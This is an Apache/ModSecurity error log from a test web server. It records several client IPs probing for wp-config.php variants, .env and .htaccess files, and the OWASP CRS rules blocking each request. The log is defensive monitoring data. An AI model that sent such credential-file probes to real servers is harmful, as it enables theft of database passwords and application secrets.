[Sat Feb 28 10:13:10.539810 2026] [:error] [pid 2381933] [client 217.170.194.172:53241] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.malware"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aaKxpjXjSsAQFui3K_Xv4QAAAAc"]
[Sat Feb 28 10:13:10.540130 2026] [:error] [pid 2381933] [client 217.170.194.172:53241] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aaKxpjXjSsAQFui3K_Xv4QAAAAc"]
[Sat Feb 28 10:13:10.540307 2026] [:error] [pid 2381933] [client 217.170.194.172:53241] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aaKxpjXjSsAQFui3K_Xv4QAAAAc"]
[Sat Feb 28 10:13:16.235625 2026] [:error] [pid 2378305] [client 217.170.194.172:59843] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aaKxrPdKlFv72K9hppU4RgAAAAI"]
[Sat Feb 28 10:13:16.235969 2026] [:error] [pid 2378305] [client 217.170.194.172:59843] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aaKxrPdKlFv72K9hppU4RgAAAAI"]
[Sat Feb 28 10:13:16.236125 2026] [:error] [pid 2378305] [client 217.170.194.172:59843] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aaKxrPdKlFv72K9hppU4RgAAAAI"]
[Sat Feb 28 10:17:55.525816 2026] [:error] [pid 2378303] [client 46.246.122.37:27871] [client 46.246.122.37] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /d5mfsnyhc7z93urrw.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/D5MFSNYHC7Z93uRRW.htaccess"] [unique_id "aaKyw4LaDfxPhnt6lEEuuwAAAAA"]
[Sat Feb 28 10:17:55.526127 2026] [:error] [pid 2378303] [client 46.246.122.37:27871] [client 46.246.122.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/D5MFSNYHC7Z93uRRW.htaccess"] [unique_id "aaKyw4LaDfxPhnt6lEEuuwAAAAA"]
[Sat Feb 28 10:17:55.526283 2026] [:error] [pid 2378303] [client 46.246.122.37:27871] [client 46.246.122.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/D5MFSNYHC7Z93uRRW.htaccess"] [unique_id "aaKyw4LaDfxPhnt6lEEuuwAAAAA"]
[Sat Feb 28 10:17:55.915137 2026] [:error] [pid 2378305] [client 46.246.122.37:59460] [client 46.246.122.37] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /shhposjzfykexfbvdj.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/ShhPOSJZFYkexfBvDJ.htaccess"] [unique_id "aaKyw_dKlFv72K9hppU4UgAAAAI"]
[Sat Feb 28 10:17:55.915462 2026] [:error] [pid 2378305] [client 46.246.122.37:59460] [client 46.246.122.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/ShhPOSJZFYkexfBvDJ.htaccess"] [unique_id "aaKyw_dKlFv72K9hppU4UgAAAAI"]
[Sat Feb 28 10:17:55.915664 2026] [:error] [pid 2378305] [client 46.246.122.37:59460] [client 46.246.122.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/ShhPOSJZFYkexfBvDJ.htaccess"] [unique_id "aaKyw_dKlFv72K9hppU4UgAAAAI"]
[Sat Feb 28 10:17:56.262681 2026] [:error] [pid 2378304] [client 46.246.122.37:27874] [client 46.246.122.37] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /1ux6lvu6qngiscixqju.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/1ux6lVu6qngiscIxqJU.htaccess"] [unique_id "aaKyxPbyfL5lt6LQuv2cHQAAAAE"]
[Sat Feb 28 10:17:56.262985 2026] [:error] [pid 2378304] [client 46.246.122.37:27874] [client 46.246.122.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/1ux6lVu6qngiscIxqJU.htaccess"] [unique_id "aaKyxPbyfL5lt6LQuv2cHQAAAAE"]
[Sat Feb 28 10:17:56.263132 2026] [:error] [pid 2378304] [client 46.246.122.37:27874] [client 46.246.122.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/1ux6lVu6qngiscIxqJU.htaccess"] [unique_id "aaKyxPbyfL5lt6LQuv2cHQAAAAE"]
[Sat Feb 28 10:17:56.648217 2026] [authz_core:error] [pid 2378318] [client 46.246.122.37:63085] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Sat Feb 28 10:18:53.069426 2026] [:error] [pid 2383931] [client 46.246.122.37:23275] [client 46.246.122.37] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aaKy_ZCSoh35rUFTMWGxSgAAAAk"]
[Sat Feb 28 10:18:53.069729 2026] [:error] [pid 2383931] [client 46.246.122.37:23275] [client 46.246.122.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aaKy_ZCSoh35rUFTMWGxSgAAAAk"]
[Sat Feb 28 10:18:53.069883 2026] [:error] [pid 2383931] [client 46.246.122.37:23275] [client 46.246.122.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aaKy_ZCSoh35rUFTMWGxSgAAAAk"]
[Sat Feb 28 10:21:12.060922 2026] [:error] [pid 2378750] [client 46.246.122.37:24743] [client 46.246.122.37] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.malware"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aaKziFDtYup7T8W3YuDBZgAAAAY"]
[Sat Feb 28 10:21:12.061219 2026] [:error] [pid 2378750] [client 46.246.122.37:24743] [client 46.246.122.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aaKziFDtYup7T8W3YuDBZgAAAAY"]
[Sat Feb 28 10:21:12.061378 2026] [:error] [pid 2378750] [client 46.246.122.37:24743] [client 46.246.122.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.malware"] [unique_id "aaKziFDtYup7T8W3YuDBZgAAAAY"]
[Sat Feb 28 10:21:18.591350 2026] [:error] [pid 2383930] [client 46.246.122.37:36824] [client 46.246.122.37] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aaKzjsiqy3jYVmgj06zeHAAAAAg"]
[Sat Feb 28 10:21:18.591653 2026] [:error] [pid 2383930] [client 46.246.122.37:36824] [client 46.246.122.37] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aaKzjsiqy3jYVmgj06zeHAAAAAg"]
[Sat Feb 28 10:21:18.591811 2026] [:error] [pid 2383930] [client 46.246.122.37:36824] [client 46.246.122.37] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.suspected"] [unique_id "aaKzjsiqy3jYVmgj06zeHAAAAAg"]
[Sat Feb 28 11:56:27.242476 2026] [:error] [pid 2385358] [client 204.76.203.25:47342] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aaLJ2_CPVBGXaRUxF20WlgAAAAs"]
[Sat Feb 28 11:56:27.242737 2026] [:error] [pid 2385358] [client 204.76.203.25:47342] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aaLJ2_CPVBGXaRUxF20WlgAAAAs"]
[Sat Feb 28 11:56:27.242906 2026] [:error] [pid 2385358] [client 204.76.203.25:47342] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aaLJ2_CPVBGXaRUxF20WlgAAAAs"]
[Sat Feb 28 12:18:17.827774 2026] [:error] [pid 2385358] [client 57.131.13.95:34279] [client 57.131.13.95] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /57got_4goxm3da8p3.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/57goT_4GOXm3da8P3.htaccess"] [unique_id "aaLO-fCPVBGXaRUxF20XJgAAAAs"]
[Sat Feb 28 12:18:17.828124 2026] [:error] [pid 2385358] [client 57.131.13.95:34279] [client 57.131.13.95] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/57goT_4GOXm3da8P3.htaccess"] [unique_id "aaLO-fCPVBGXaRUxF20XJgAAAAs"]
[Sat Feb 28 12:18:17.828293 2026] [:error] [pid 2385358] [client 57.131.13.95:34279] [client 57.131.13.95] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/57goT_4GOXm3da8P3.htaccess"] [unique_id "aaLO-fCPVBGXaRUxF20XJgAAAAs"]
[Sat Feb 28 12:18:18.022243 2026] [:error] [pid 2385359] [client 57.131.13.95:38017] [client 57.131.13.95] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /jdva95bdglqk8thwre.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/jdVa95BDglqk8tHwrE.htaccess"] [unique_id "aaLO-pv7nx7Xa6lKYwePeQAAAAw"]
[Sat Feb 28 12:18:18.022577 2026] [:error] [pid 2385359] [client 57.131.13.95:38017] [client 57.131.13.95] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/jdVa95BDglqk8tHwrE.htaccess"] [unique_id "aaLO-pv7nx7Xa6lKYwePeQAAAAw"]
[Sat Feb 28 12:18:18.022737 2026] [:error] [pid 2385359] [client 57.131.13.95:38017] [client 57.131.13.95] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/jdVa95BDglqk8tHwrE.htaccess"] [unique_id "aaLO-pv7nx7Xa6lKYwePeQAAAAw"]
[Sat Feb 28 12:18:18.210507 2026] [:error] [pid 2383931] [client 57.131.13.95:40183] [client 57.131.13.95] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /lgvct_pny6ecluuguk3.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/LGVcT_PnY6EcLUUGUK3.htaccess"] [unique_id "aaLO-pCSoh35rUFTMWG0WgAAAAk"]
[Sat Feb 28 12:18:18.210862 2026] [:error] [pid 2383931] [client 57.131.13.95:40183] [client 57.131.13.95] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/LGVcT_PnY6EcLUUGUK3.htaccess"] [unique_id "aaLO-pCSoh35rUFTMWG0WgAAAAk"]
[Sat Feb 28 12:18:18.211052 2026] [:error] [pid 2383931] [client 57.131.13.95:40183] [client 57.131.13.95] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/LGVcT_PnY6EcLUUGUK3.htaccess"] [unique_id "aaLO-pCSoh35rUFTMWG0WgAAAAk"]
[Sat Feb 28 12:18:18.396965 2026] [authz_core:error] [pid 2385254] [client 57.131.13.95:58333] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Sat Feb 28 12:18:46.261159 2026] [:error] [pid 2385357] [client 57.131.13.95:37493] [client 57.131.13.95] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aaLPFhL_5rL674ODEIp-CwAAAAc"]
[Sat Feb 28 12:18:46.261511 2026] [:error] [pid 2385357] [client 57.131.13.95:37493] [client 57.131.13.95] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aaLPFhL_5rL674ODEIp-CwAAAAc"]
